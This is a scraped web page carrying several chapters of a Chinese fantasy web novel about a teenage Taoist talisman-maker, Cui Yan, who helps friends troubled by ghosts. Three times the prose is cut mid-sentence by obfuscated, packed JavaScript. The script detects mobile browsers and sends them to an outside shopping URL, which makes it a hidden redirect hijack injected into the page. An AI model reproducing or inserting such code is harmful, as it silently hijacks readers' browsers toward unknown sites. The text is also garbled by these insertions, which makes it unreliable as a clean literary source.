情况并不如许航说的那样,陵园半小时内人来人往,各个穿着不凡,陈爷爷去世前来悼念他的人很多,一时间陵园也显得热闹起来。 一群穿着西装打领带的人聚在陵园里,跟在殡仪馆工作人员的身后,将陈爷爷的遗体带走了,只留下了一个人接管陵园。 留下来的人很年轻,看上去也就二十岁出头,等人都散去后,他才注意到边上的崔砚三人。 “你们是夏令营的学生?”他翻看了陵园最近的访客记录,见昨天正好有一批学生来当志愿者。 “我姓王,是陵园的新任负责人,有什么要帮忙的可以跟我说。” 陈爷爷去世,王先生的情绪看上去并不是很好,但他还是温和地对崔砚他们说:“今天陵园会暂时关闭,附近不好打车,你们住在什么地方?我打个电话叫人送你们。” 对方看上去跟陈爷爷的关系很亲密,否则也不会肉眼可见的难过,许航连连摆手:“不用不用,等会儿我爸会开车来接我们,不用麻烦您了!” 说曹操,曹操就到,许航这边刚说完,那头陵园门口就传来汽车停下的动静,随后许航的爸爸走了进来。 一进陵园,许航爸爸就看到了门口放上的白雏菊,有些惊讶地看向对面的三个学生,还有他们面前的王先生。 几个年轻的小孩儿不认识对方,但许航爸爸是做生意的,跟上头也偶有交集,他可太认识王先生了。 锦川姓王的人不少,但大人物就那么一个,许航爸爸偶然见过王老先生一面,当时对方身边就站着自己还在上大学的孙子。 算算时间,几年过去对方的孙子已经大学毕业,依稀就是这个模样。 许航爸爸不动声色,见四周就只有他们几个人,而王先生只说自己是殡仪馆的负责人,于是许航爸爸既没有道破对方的身份,也没有趁机套近乎。 他简单替孩子道谢,“等会儿我会送这几个孩子回家,就不耽误王先生的正事了。” 崔砚跟着上了许航家的车,三个孩子一起坐在后排,车子发动后,从后视镜里见王先生也匆匆上了另外一辆车离开了。 许航见状挠挠头,“这是急着干什么去?” 窗边后来的车辆已经超过了他们,崔砚收回视线,自然开口:“最近黄历日子不是很好,错过今天,下一次适宜丧葬的时间,就要等半个月后了。” “王先生大概是急着去参加那位陈爷爷的葬礼。” 暑假天气干燥炎热,遗体存放不了那么久,只能今天抓紧走完所有的仪式,将人早早入土。 许航爸爸在后视镜里惊讶地看了崔砚一眼,忍不住道:“小同学还懂这些?” 崔砚只道:“我是胡乱猜的,您可别当真。” 如果是放在以前,对这种神神叨叨的说法,许航爸爸都是一概不理,但最近许家倒霉得实在太不寻常,昨晚上许航又离奇失踪了一晚。 对此,许航爸爸收敛了脸上的笑意,眉心紧蹙,神色也变得有些忧心忡忡起来。 他一边开车一边嘱咐许航:“你妈不知道你昨晚上失踪的事情,她病还没好全,避免她担心我一直没告诉她,等会儿去医院的时候你别说漏嘴了。” 许航点点头,伸手在嘴上做了个拉链的动作:“放心吧老爸,我一定守口如瓶。” 崔砚家距离陵园最远,许航爸爸最后把他送到家,临到下车时崔砚私下转头塞给了许航一个东西,并且低声嘱咐:“把这个放好,最近都不要离身。” 等他下车道谢后走远,许航才低头看一眼手里的东西,是一道折成三角的黄符。 许航见他爸没注意到,于是闷不吭声把东西藏在手心,揣进衣服兜里又顺手拍了拍,确认黄符放好不会遗失后,这才松了口气。 许航的妈妈前几天突然病倒,一直高烧不止,这病来势汹汹情况又很凶险,所以这一直都在医院观察。 这两天终于病情好转,今天下午就能办出院手续回家了。 许航谨记他爸刚才的叮嘱,对昨天的事情只字不提,只是在见到他妈妈后,看到病床上母亲脸上的疲态和病容,一时间没有忍住红了眼眶。 崔砚到家接到了周老师的电话,电话里周老师语重心长地对自己的职业生涯进行了慰问,确定崔砚已经安全到家后,这才停下了一整天的提心吊胆。 电话挂断后,崔砚习以为常地面对空荡荡的房子,自己摸进厨房简单做了碗面。 崔砚家很大,装修也充满了艺术气息,四面墙壁上挂了不少别致的油画,粗略看去画风统一,都署名着两个字“笔墨”。 笔墨正是崔砚妈妈秦书言的艺名,他妈妈是个画家,在圈内小有名气,崔砚还没出生的时候就爱满世界飞,看展开展,是个内里很富足强大的女性。 而他父母结缘于一场笔墨的画展,崔砚的爸爸崔年是笔墨的油画粉丝,两人闹了点乌龙,之后缘分却越来越深。 当年崔砚爸爸的房地产事业刚起步,正处于一个很关键的上升期,却也能在这个时候特意腾出不少时间,陪着秦书言满世界跑。 直到后来崔砚出生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268234|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 崔砚的身体太弱了,因此夫妻俩选择了留在家中治病照顾,看起来像是被孩子囚困,或许是小崔砚太过可爱听话,惹人心疼,夫妻俩一直都心甘情愿并且乐此不疲。 这段时间里秦书言的笔下开始有家庭的存在。 有时候她画阳光下的窗棂,窗台边会有蝴蝶落在一只稚嫩的小手上。画自己画室的一角,地上也有颜料踩上去的小脚丫。 这些画将温柔融入进了她从前的跳脱中,独特的反差像是澄澈溪水中飘落的一朵白梨花。 崔砚七岁身体好转,笔墨在这时开启了自己阔别七年的巡展,她炫耀似的将那些暗藏崔砚的画都放了进去。 每个熟识的人前来都会调侃她,“生了个小孩儿恨不得抱出来让大家击鼓传花。” 秦书言找到了自己的小缪斯,此后声名更盛,而崔家的生意也在这短短的几年内做到了锦川的头部,如今已经逐渐在全国范围遍地开花。 崔砚十五岁生日过后,秦书言和崔年才将自己的重心重新放回事业和梦想上。 他从小备受宠爱呵护,但也异常早熟,向来支持并尊重父母所有决定。 因为自己特殊的体质,崔砚自从灵妙观学会些道法后,就开始下意识跟旁人保持距离。 防着旁人的居心叵测,也防止亲近的人因为自己遭遇横祸。 许航这个怎么拒绝都推不开的人,还是崔砚上学后交的第一个朋友。 这两年崔砚跟爷爷奶奶和外婆在一起的时间更多,但他奶奶是中医,每天都会坐诊自家医馆,很多时候都会直接住在医馆里,而爷爷退休返聘,又回了学校教书。 家人因此多数时候都跟崔砚聚少离多,往常外婆会经常探望他,但最近老人家大病初愈,身体都还没好利索,这会儿也回了老家,每天跟老闺蜜散步唠嗑。 崔砚不愿意外婆带病来回奔波,约定好每星期自己都会去探望她一次。 作为家里唯一信道的长辈,这些年外婆在崔砚身上几乎倾尽所有,辛苦了太久太久。 崔砚做的面刚出锅上桌,他就接到了父母跨海打来的视频电话。 视频里的女性穿着时尚面容美丽,一双温柔又灵动的眼睛几乎和崔砚一模一样,开口就叫他:“小宝早上好!” 华国这会儿十点半,秦书言跟丈夫这几天都在米兰,崔砚看了看时间,知道爸妈这是又熬大夜了。 “早,妈妈。”崔砚又问候了一下他不在画面里的爸爸。 秦书言见崔砚吃着简单的面条,责怪了一下丈夫,道:“小宝怎么只吃面,是不是爸爸给的生活费不够了?” 崔砚的爸爸在一旁大喊冤枉,没过两秒崔砚就收到了转账短信,他没去看具体数字,实诚道:“够用,只是这两天中元节前后七天要持斋。” 道家持斋不仅仅是吃素,其统共分为三个类别:设供、节食、慈心。 设供,供奉神灵,感念祖师恩赐与福祉,基本上一年到头从不间断。 节食吃素,荡涤心灵与浊躯,修养自身,但崔砚不算正统的道家人,每年也就固定在中元前后意思一下。 慈心则是道家观念的体现,“万物有灵,重生贵生”,道家修行重在修心,世间万物一视同仁,中元节施孤也算慈心。 米兰的时间已经很晚了,秦书言打电话过来,也只是想跟崔砚聊聊天,关心一下自家小孩儿。 崔砚没有多说,最后催促他们快点睡觉,视频里爸妈那边房间窗外一片漆黑,再聊下去怕是都快天亮了。 于是秦书言依依不舍地挂断电话。 崔砚三两下解决完自己的素面,碗筷放进洗碗机,回头从兜里掏出一张纸条。 纸条上写着一个名为“胡月”的人的联系方式,这个胡月正是王小麦的亲生母亲。 14.首发文学城14 王小麦的妈妈是个外地号,但崔砚的电话刚打过,那边只响了两声就被接通。 随后听筒内一个年轻的女声就迫不及待地开口:“是……是小麦吗?” 王小麦的名字一出来,崔砚就知道自己没找错人。 “您是胡月女士吗?”崔砚问。 他的声音一听就不属于六七岁的小女孩儿,同样也不属于年迈的老婆婆,胡月一听就有些警惕,同时也紧张起来。 “我是,这个电话只有我女儿和她的奶奶知道,请问你是谁?” 胡月的语气很礼貌,也很强硬,崔砚并没有打算跟她说太久,三言两语就把王小麦如今的情况,以及她这段时间以来的遭遇说给她听。 “他这个人渣、他竟然这样对小麦,那可是他的亲生女儿!”胡月骂道。 她不知道女儿在自己看不见的地方,遭了这许多的罪,甚至疼爱她的奶奶还去世了,一时间又心疼又愤怒。 通过她的反应,崔砚知道胡月对王小麦的态度至少是友好的。 王小麦的奶奶这么些年跟孙女相依为命,却始终防备着这个并不怎么露面的女人,也一直都没告诉过她小麦的地址。 崔砚将胡月的态度琢磨得差不多了,才将灵妙观的地址发过去。 他解释:“小麦的父亲给她找了后妈,夫妻俩都脾气不好,小麦身上有不少淤青,相比于这样一个父亲和后妈,她跟在你的身边应该会好过得多。” “我把她暂时寄养在了灵妙观,如果你愿意把她接走,可以直接去这个地方找她。” 崔砚不知道当初王小麦的母亲为什么会离开,但对方现在既然在乎这个女儿,听她语气又像是如今生活条件还不错。 凭借王先生现在的模样,他在锦川的风评已经差到了极点,再加上对方常年对小麦的忽视,即使胡月跟他打起了官司,最后的抚养权也只会落在胡月身上。 崔砚没有探寻别人家事的想法,交代完王小麦的事情后,简单两句就挂断了电话。 一个人的生活其实稍微有些乏善可陈,崔砚年龄并不大,但一个人在空荡的房子里生活,娱乐活动却近乎于零。 他不打游戏,不看小说,也不像妈妈秦书言那样热爱画画,从小到大崔砚都没有任何功夫去考虑爱好或者梦想,尽管在爱里长大,但他却只想好好活下去。 长命百岁,健健康康地活下去。 手机安静地放在一旁,崔砚索性进了书房。 落地的玻璃采光很好,漂亮的金色在地上投影出窗框的形状。 崔砚拉开桌下的抽屉,从中取出一叠与整个环境都格格不入的黄纸,上好的狼毫沾上草木香的墨。 少年手腕微微一动,蜿蜒的笔迹如游龙行走于纸上,灵光忽现,首尾一气呵成。 一个人没事干的时候,崔砚就喜欢画符。 这种一次性的消耗品都是用一张少一张,家里的风水已经被他修改过,一些容易产生阴煞气的地方,也都被他张贴了黄符,并且会按时更换。 崔砚身上的兜里常年都塞满了各种符,他体质特殊,不知道什么时候就会招惹上不好的东西,有了这些符也能以备不时之需。 收笔提起黄纸,稍稍吹了一下上头的墨,崔砚将自己画好的符列在桌上,等待自然风干。 他在家呆了一天,迟迟没有收到夏令营的消息。 按理来说夏令营都是提前一天发通知,安排第二天的上课内容或者行程,但三班的群今天却很安静。 崔砚没有去问,只是一直等着,临近傍晚时周老师终于在群里说话了,却是发了一则夏令营取消的通知。 昨天崔砚他们三个失联的消息,还是吓到了周老师,夏令营的负责人早晨开了个集体会议,最后大家还是决定暂停夏令营。 现在距离开学只剩下二十几天,过阵子锦中也要忙起来。 夏令营是锦中举办的,参与的带班老师也都在锦中任课,权衡之下,为了保证学生安全,也为了给差点被吓死的各位老师留条命,夏令营还是取消了。 骤然间听到这个消息,不少学生高兴于自己暑假能多玩几天的同时,还有些懵逼和遗憾。 没想到昨天分别之后,短时间内竟然就已经见不到了,如果他们开学后没有分到一个班,往后估计都不会再有太多的交集。 昨天都还没来得及好好告别呢。 崔砚独来独往惯了,见大家都在群里刷屏表示不舍,他内心却没什么波动。 不过夏令营结束,崔砚也要重新安排自己的时间,最近正值暑假,灵妙观平常人来人往想必也很忙,他倒不如去帮帮忙。 崔砚扫了一眼群里的消息,刷屏的各种非主流文字实在有些辣眼睛。 这个年纪的孩子正是喜欢搞非主流的时候,不管是玩梗还是什么,总归是崔砚这个跟同龄人脱节的人不太理解的。 他看得有些眉眼抽搐,索性关掉手机,只是手机还没离手,许航的电话就先打了过来。 昨天对方死缠烂打要了崔砚的联系方式,加上微信后倒是没怎么聊天,这会儿突然杀出来个语音通话,崔砚顿了顿,挂断后发消息过去询问。 崔砚:【?】 许航也没在乎他的高冷,噼里啪啦就甩过来一段三十秒的语音。 抛去一堆废话,许航:“昨天忙着到医院接我妈回家,都没来得及跟你说两句,geigei不会怪我吧~” 崔砚:【。你正常点】 许航:“夏令营怎么就突然结束了?搞得我还怪难受的,我把我家地址发给你,周六家里给我庆生你一定要记得来啊。” 他又细数了其他几个被邀请的学生,除了米雅雅崔砚一个都不认识。 等许航絮絮叨叨说完后,崔砚才慢慢回复。 【我会按时到场。】 从前崔砚本身太过弱小,常常会给身边的人带来些小麻烦,那时他被外婆带在身边,因为这个没少被村里的小孩儿叫灾星。 上一次他替朋友庆祝生日的时候才八岁,恰巧对方八字轻,撞上了被崔砚吸引过来的脏东西,胆魄惊得不稳,做了整整一个月的噩梦才得到好转。 小崔砚难过又内疚。 此后崔砚灾星的名号在外婆老家广为流传,他在那里再也待不下去,第二年身体好转,外婆就把崔砚送回了父母身边,只是月月都会担心地上门来探望。 外婆年龄大了,却常年为崔砚奔波,她又不愿意搬来城里,每次见面都会让崔砚高兴又心疼。 但外婆总是不在意这些,因为外婆是信佛的,佛修来世,外婆总是乐此不疲,认为这一世的苦能换来世的福。 她是个很虔诚的佛家信徒,如若不是当年求佛没能救下崔砚,否则怕是这辈子都不可能会踏入灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268235|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙观,更别说常来常往。 时间渐渐过去,崔砚有了能力防止祸及亲友的能力,后来却也已经不再需要朋友。 时隔多年,这还是他第一次受到同龄人的邀请。 只是许航的生日在周六,崔砚给外婆去了个电话,打算等许航那边结束后再去看望外婆。 因为从前的事,外婆跟村里许多人都闹得很僵,她不太喜欢崔砚再回去,让外孙干脆别去了。 老太太一贯都是这个脾气,崔砚哄着道:“可是我想外婆了。” 外婆一听,立马就要收拾东西,拖着自己还没病愈的身体,就要往城里赶来,崔砚连忙阻止。 “您别动,我过两天来找您就是了。” 外婆有些不赞同:“你这来回多麻烦。” 崔砚便道:“主要是我已经很久没去探望干爹了,就算您进了城,我也是要去一趟的,到时候反而更麻烦。” “也是,”外婆终于同意了,说:“确实该去看看你干爹了,今年政府打算管控驼山,往后再来就不方便。” 说到这里,老太太干脆建议:“后院倒是有很大一块空地,干脆叫你干爹挪到后头去算了。” 崔砚想了想,觉得希望不大,对方应该不会愿意下山来,但也没有直接拒绝老太太,点头答应:“到时候我试试。” 如果干爹不愿意,那崔砚也没辙了。 在家猫了两天,崔砚就去灵妙观搓香了。 灵妙观的师兄们也没把他当外人,崔砚一去就被划了一大块香料,搓完还被赶去给神明换上贡品。 灵妙观除了供奉主神斗姆元君之外,东西二殿还供奉着勾陈上宫天皇大帝、中天紫薇北极大帝,往后还设有一列长殿,其中是北斗七星君的神像。 因神明有位阶之分,诸神脾气也不尽相同,所以道观一般只能设有一位主神,而灵妙观里除斗姆元君之外的其他神明,但凡是放在其他道观里,都是独当一面的主神。 无论七位星君还是天皇大帝与紫薇大帝,都不是能居于其他神明之下的,但斗姆元君却是个例外。 因为斗姆元君是他们的生母。 道观的实力往往跟供奉的神明有关,而徒子徒孙请神,也只能请出主神相助。 灵妙观供奉斗姆元君实在是一个令人惊叹的行为,这位几乎能叫来所有天上的顶级战斗力。 灵妙观香火鼎盛,也有这几位尊神坐镇的原因。 今天灵妙观的人照旧很多,人群中的生面孔也有不少,最近旅游旺季,很多年轻人到锦川旅游的时候,都会到灵妙观来打卡。 崔砚穿过人群,手里托着装有贡品的盘子,在香客跟游客的目光中走入大殿。 他捏手作揖,身上都是沾染的降真香味,在缭绕的香云中将案上的贡品替换下来。 新鲜的瓜果上桌之后,崔砚又把花给换上,将两边点燃的灯芯剪亮。 崔砚人长得俊俏,年纪小脸也嫩,今天穿的又是深黑的颜色,衬得他更加唇红齿白。 少年到大殿来去一遭,边上常来的香客习以为常,倒是第一次见到崔砚的游客难免好奇,目光纷纷落在他的身上。 有个年纪很大的婆婆不禁道:“这是元君座下童子显灵了吗?” 崔砚转身去了东西偏殿,没听到人群的动静,倒是忘凡在边上微笑着提醒:“这位游客,要相信科学。” 15.首发文学城15 换贡品也是一项技术活。 不仅要规矩周全,还要得到神明的许可,虽说近些年来再也没有人成功请过神,就仿佛天上的神明们已经消失了一样。 但偶尔在神像下站立,还是能感受到上方微妙的审视降临。 神明注视的次数多了,师兄弟们都有些吃不消,夜里总会梦到被祖师奶抽大嘴巴子,只有崔砚一个人不受影响。 不是神明没有为他降下注视,而是崔砚不在乎。 他这些年经历的事情太多了,道观里的师兄怕是穷尽一辈子都遇不见,毕竟也不是天天都有鬼要抓。 大部分人即使修道了也看不见鬼怪,只能借用法器感知,或者燃烧犀角,获得短暂的照夜能力。 但犀角昂贵,拿在手里也不舍得为了无名小鬼燃烧。 大风大浪都见识过了,除非神明亲自现身抽大嘴巴子,否则崔砚都能当做不知道。 这两天也没什么活动,崔砚晚上干脆就歇在了道观里。 为了报复当初收徒被拒的耻辱,李道长收留崔砚一晚收他二百块钱,美其名曰只有他徒弟才能享受免费食宿。 一连两天在灵妙观里度过了短暂的安生日子,周六崔砚特意起了个大早。 月色还未完全消失的时间,日光就已经染上了遥远的山头。 崔砚冥神等待日月相交的那一刻,提笔从天边捉来一缕紫气。 这一笔,边上起夜的忘尘恰巧看到,一时间叹为观止。 忘尘没有打扰崔砚,就在一旁静静看着崔砚书写,一笔一笔,黄纸在桌案上被写满,紫气悄无声息融入笔端,最后在崔砚的手下化作三张符。 一张镇魂,一张摄鬼,一张诸邪莫侵。 道观的师兄弟都知道,每次日月同临的时候,崔砚都会借东来的紫气画符。 能携的紫气太少,最多也就能画出三张,而这三张符的效力可以一敌百,放在市面上千金难买。 不过通常崔砚都只会画三张镇魂符,镇魂符能用于自身,掩盖住他的气息,防止因为他而招来邪祟。 崔砚的体质对人增益寥寥,生人不太会打他的主意,因此对于道观的师兄弟并没有隐瞒,大家都知道他的麻烦体质。 但今天崔砚除开镇魂符外,却多画了另外两种,这倒是让忘尘深感意外。 崔砚早就注意到了边上的忘凡,他收好手里的符,对忘尘点点头:“忘凡师兄。” 忘凡走过去,温和地打量了崔砚一会儿,语气有些好奇:“怎么只画了一张镇魂符,下个月会不会不够用?” 符咒的作用终归是有时效的,而崔砚的体质又太过强势,普通的镇魂符根本压不住,只能用紫气画就,一张也就能顶半个月。 崔砚点头:“够用,之前还剩下不少。” 忘凡稍稍放心,又忍不住八卦:“其他两张符是给谁的?” “外婆最近在恢复期,听说驼山要动土,到时候难免会生是非,画上金光咒,多少也能护着她点。” 金光咒辟邪镇煞,遇强则强,本就是极为霸道的护身符,因此金光咒难以入符。 他们使用金光咒都是念咒借助手诀或者法器,有蓝扣蓝,没蓝扣红,普通人能用出来的简直凤毛麟角。 而崔砚一笔竟然将金光咒画成了符,甚至还用上了紫气,这厉害之处,别说是护佑崔砚外婆平安,单是平日里接触他外婆的人,都能一并护住。 毫不夸张,崔砚手里现在拿的不是符,而是锦川市中心一套房,还是全款拿下的那种。 忘凡盯着崔砚的那张脸,幽幽叹气。 要不说师父成天对他们吹胡子瞪眼呢,有崔砚这般珠玉在前,连他都常常自惭形秽,更别说其他资质平平的师兄弟们了。 要不是大家都有一颗强大的心脏,怕是早就嫉妒死了。 忘凡从自己的道袍里掏出手机准备付款:“另一张卖吗?” 崔砚:“……” 婉拒了哈。 崔砚:“等天亮我要去朋友家参加他的生日聚会,另一张符是给他的生日礼物。” 虽说这符确实昂贵,但生日送这种防鬼抓鬼的东西,怕是也有些不吉利,崔砚不像是不知道。 忘凡揣好手机,多少有些猜测,他问:“你朋友撞鬼了?” 崔砚不确定,但他说:“九成概率是遇见脏东西了。” 他身上有镇魂符,附近的鬼怪不会受崔砚吸引,而他常年学习道术,身上又浸染了道香,一般的小鬼只会敬而远之,不会像那天晚上一样蜂拥而至。 既然崔砚确定不是自己的原因,米雅雅身上又没有任何异常,那就只能是许航了。 许航在酒店刚撞过鬼,最近身上阳火又弱,他又说过亲友也常常倒霉,听起来,问题最有可能出现在他的身上。 崔砚没有给人送过生日礼物,他也不知道许航喜欢什么,那就送个自己最擅长,而对方又恰巧需要的东西。 上次许航也央求他帮忙看看家里情况,崔砚当时也答应了,便打算趁着这次的机会,一举将许家的麻烦都解决掉。 忘凡自小就跟在李道长身边,崔砚后边病殃殃地被送到道观里,也算是被忘凡看着长大的。 这么些年来这还是他第一次跟人提起朋友,忘凡不由得有些欣慰。 “今天跟朋友好好玩。” 忘凡的表情实在是慈祥地有些过了头,而崔砚这次去的目的也不是玩,而是找出在许家搞鬼的东西,闻言他表情有点复杂。 “要是没睡醒的话,师兄还是快去睡个回笼觉吧。”崔砚真诚建议。 但天才刚亮的时候,崔砚在道观门口却见到个意料之外的人。 米雅雅独自前来灵妙观,手里还拿着个包装好的礼物袋子,袋子被她双手托着,朝里走的时候正好撞见崔砚。 崔砚叫住她:“米雅雅?” 米雅雅听见有人叫自己,回头见是崔砚,惊喜地唉了一声,说:“你怎么也在这里?” “这两天借住在灵妙观,到这儿是想做什么?” 听崔砚说自己最近借住在这里,米雅雅瞬间就睁大眼睛,露出一副“完了,我也跑不掉了”的表情。 她道:“前两天晚上许航突然发高烧,病得人事不省,昨天才好了点,刚从医院回家。” “怎么会?”崔砚先是觉得不可能。 他走前给许航塞了张符,有这张符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268236|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,即使许家藏了什么脏东西,也不会对许航有太大伤害,顶多小病小痛一下,但绝不会像米雅雅说的这样,卧病在床好几天。 但米雅雅没有骗他的必要。 小姑娘哭丧着脸,对崔砚说:“你最近都住在道观里,是不是也遇到了不太好的事情?” 仔细想来,就是上次他们三人从陵园离开之后,就接二连三出问题的。 她误会了一通,以为崔砚在灵妙观住下是避灾来的,见三个小伙伴倒下了两个,觉得自己也离遭殃不远了,一时间悲从中来。 不等她哭出声,崔砚看看道观,又看看米雅雅,问:“你是来灵妙观求平安的?” 米雅雅点头:“我想求个符来着。” 她傻傻道:“都说灵妙观很灵,我最近实在有点害怕,就打算给我自己求个符,也给你俩求一张。” 没想到这姑娘还想着他,崔砚有些意外。 他道:“那也不用来这么早。” 米雅雅挠挠头:“不是说这一行什么头香都是抢着要的吗?我寻思早点来是不是更灵一点……” 不会。 所谓头香的说法,不过是想让神灵看到信徒的态度与诚意,不过米雅雅来这么早,也算变相的很有诚意了。 他没有阻止米雅雅,把人往里边带去,边走边说:“现在刚到早课时间,忘凡师兄他们这会儿不会见人,李道长外出参加道教大会去了,现在都不能帮你。” “道教大会是什么?”米雅雅下意识好奇,但转头又捕捉到重点,垮下肩膀:“啊……那道长们什么时候才有空啊?” 许航虽然在医院躺了几天,但却没有取消这次的生日会,他性子闲不下来,前两天遭了大罪,就想着今天跟朋友们好好玩一玩。 米雅雅得在去许家之前,把符给拿到手,要是能顺带给她做的礼物开个光就更好了。 “你等不了,来不及。”崔砚道。 许航家境不错,邀请新朋友办个生日宴还挺隆重,基本上包下了大家的三餐,晚上不回家还能有住的地方,原本米雅雅就打算早一点去。 “道教大会是华国道协举办的全国性会议,一般各地有证的道士都会参加,具体内容网上应该也能搜到。”崔砚一边拿出黄纸,一边抽出自己领上别的笔。 米雅雅好奇地看着崔砚手上的笔,那支笔造型很奇特,笔帽打开里边竟然是狼毫的头,尾端按一按就渗出墨来。 崔砚用这支笔,画出了两道符,吹干递给米雅雅。 米雅雅看得一愣一愣的,眼睛都还没反应过来,崔砚就已经在黄纸上画出轨迹,并且吹干折好。 “这、这是……” 崔砚看她一眼:“你要的符。” 米雅雅惊喜地把黄符拿在手中,小心翼翼看了又看,问崔砚:“你竟然还懂这个!” “好、好厉害!”米雅雅震惊。 崔砚嘴角微微上扬,语气淡淡:“一般。” 米雅雅能跟许航一起玩,也是个爱叽里咕噜的话痨,崔砚不等她问,索性解释:“从小就常来道观,一来二去也就会了。” “原来如此。”米雅雅明白了,向崔砚竖起大拇指:“厉害!” 16.首发文学城16 米雅雅攥着手里的两张符,小心翼翼收好,然后看向崔砚。 “只有两张,你……” 她冲崔砚眨眨眼睛,少年不在意道:“我不需要。” “也是。”米雅雅道:“这符都是你画的。” 崔砚画完符收拾东西,顺带又拿出了自己的笔记本。 笔记本仍然是空白一片,上次的观后感没能来得及写,虽然后边周老师让他补上,但现在夏令营都已经取消了,显然也没有再写的必要。 想起那次笔记本闪烁金光的画面,崔砚又抬手照着大殿的方向看了看。 然而这次笔记本没有任何异常。 自从那次生死簿昙花一现后,崔砚身边再也没有任何东西发生异常,好像那天真是地府的一个乌龙。 见他莫名陷入沉思,米雅雅小心问:“怎么啦?” 崔砚瑶瑶头:“没什么。” 他道:“你可以在那边坐会儿,半小时后灵妙观会开饭,饿了就去吃。” 既然都遇到了,也没必要再分开走,在米雅雅的邀请下,崔砚跟她上了同一辆车。 除开他俩,许航还邀请了另外的三个学生,大家平常都跟他关系更近。 车从灵妙观往南开了半个小时,到了一片独栋别墅区,米雅雅透过车玻璃往外看,感叹道:“这世界上的有钱人为什么不能多一个我。” 我恨有钱人! 这片区是出了名的富人区,住的基本都是锦川的一些大老板,独栋的别墅各自林立,每个院子之间还隔了老远,保管邻居半夜开窗唱歌都听不见。 “一栋二栋……临苑八栋到了。”出租车司机停在一个路口,对后排的两人道。 临苑只有一条直通的主路,每栋别墅外都有电子横杆挡住,只有登记的主家车牌才能开进去,外来车辆只能止步。 两人下车后,在路口遇见了其他的学生,除此之外还有几个许航以前的朋友。 大家下了车,从横杆一旁的小路进去,走过一小片竹林后,就看到了许航家的大门。 说是别墅,可能用城堡来形容更贴切。 有人忍不住感叹:“好大的房子。” “这也太牛逼了,如果不是许航给我发地址,我都不知道临苑是个什么地方。” “给我干哪儿来了,这还是国内吗?” 大家插科打诨笑了一通,米雅雅一看都是男生,没有一个跟她关系近点的,于是往后缩在崔砚一侧,打算就跟崔砚走在一起了。 只能说不愧是富人区,也不知道这房子里安装了什么高级的科技,几人刚走到门口的不远处,就被检测到有访客上门。 一阵ai的欢迎声响起后,大门就自己打开了。 有人悄悄说:“像大型商场。” 有更了解许航背景的人笑了一下,“别说,许家还真是开商场的。” 大家小声说着话,米雅雅安静如鸡地待在崔砚身后。 一个管家模样的大叔等在后边,开门后就对在场的孩子们微微一笑,道:“客人们早安,小少爷已经在里边等着你们了。” 这大爷优雅地说出少爷二字,让在场所有的人都仿佛在一瞬间打开了番茄霸总文,有些尴尬又有些暗爽。 一群十几岁的小孩儿能憋住什么事,个个涨红了脸,躲开管家先生的视线后,叽里咕噜说了几句谢谢。 管家先生是有点专业素养在身上的,见状表情仍然一丝不苟,笑着伸手为这些十几岁的小孩儿带路。 “大家请跟我来。” 崔砚照旧落在人群最后,所有人紧跟着管家先生,朝别墅里边走去。 大家都是第一次来许航家,一开始只知道许航家有钱,但不知道能这么豪,这房子装修得堪称金碧辉煌,非常符合上一代人的审美,看得所有人一愣一愣的。 他们这个年龄大都生活在学校里,阶级差别还不明显,原本还在嘻嘻哈哈的。 但这会儿忽然进入室内,管家在前边带路,两旁偶尔有保姆佣人走过,看到这些大家都显得越来越局促。 米雅雅恨不得把自己缩成球,干脆就这么滚着进去算了。 她尴尬地一路走进去,见崔砚面色如常,仿佛泰山崩与前而不改色,在心里又一次给对方竖起了大拇指。 这心理承受能力,太牛了。 好在很快尴尬的氛围就被打破了,许航打扮得人模人样地从房子里出来,一见到朋友就双眼发亮。 大家看到熟悉的人后,总算是松了口气。 崔砚一路走来都在看这房子的格局,直到走近大厅都没看出什么问题。 一般做生意的人多少都有点迷信,像许航家这种产业做大做强的,基本动土开业都会找人算上一卦,这房子明显也是专业人士看过的。 大厅外房间环绕,形成了标准的八卦格局,其中各种装饰摆件都恰到好处。 什么松鹤长春,聚水招财,官运亨通,无病无灾……什么格局有利就塞什么。 虽然在崔砚看来会有些过“满”,但总归是不会出错的上好格局。 但最大的问题,就是崔砚没有看出问题。 根据许航最近的遭遇,和他家的近况来看,家里没沾脏东西的可能性为0。 这会儿许航咋咋呼呼地跑过来,跟朋友们挨个打完招呼,然后等管家把他们都带去正厅。 随后许航在人群中找了找,终于看到了末尾的崔砚和米雅雅。 “崔砚!” “米雅雅!” 许航叫了两声,然后高高兴兴地凑过去。 他大病初愈,脸上唇上都还没多少血色,看着倒是比平常多了几分可怜。 米雅雅笑着把自己手里的礼物递过去,“这是我自己做的东西,希望你不要嫌弃。” “不嫌弃不嫌弃!”许航乐呵呵地把米雅雅的礼物接到手里,说:“我哪敢嫌弃啊!” 